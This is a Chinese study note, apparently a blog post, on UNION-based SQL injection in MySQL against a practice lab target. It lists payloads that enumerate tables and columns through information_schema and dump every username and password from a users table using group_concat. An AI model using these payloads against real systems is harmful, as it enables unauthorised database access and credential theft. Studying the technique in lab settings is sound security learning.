sql注入 Four day

union注入

1.了解union注入过程中用到的关键数据库、数据表、数据列

2.sql查询中group_concat的作用

最终目标

使用union注入拿到靶机中数据库里的所有用户名和密码

        查询语句   select列名 + from表名 + where限定语句

拿到表名和列名

         数据库

information_schema                                     

包含所有mysql数据库的简要信息吗,其中包含有两个所需数据表

tables 表名集合表

columns 列名集合表

1.所需要表名信息在数据库information_schema—>数据表tables—>数据列table_name

?id=0' union select 1,table_name,3 from information_schema.tables --+

2.过滤在security数据库中的表名,即table_schema为security的行

?id=0' union select 1,table_name,3 from information_schema.tables where table_schema='security'--+

group_concat()的作用

确保所有查询信息能放到一行显示出来

?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

查找数据库security中数据表users的列名

所需要信息在数据库information_schema数据表columns数据列column_name

?id=0' union select 1,table_name,3 from information_schema.columns--+

过滤在security数据库中数据表user的列名

?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

查询最终目标

查询语句 select列名+from表名 +where限定语句

?id=0' union select 1,group_concat(username,'~',password),3 from users --+

插入"~"区分数据

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值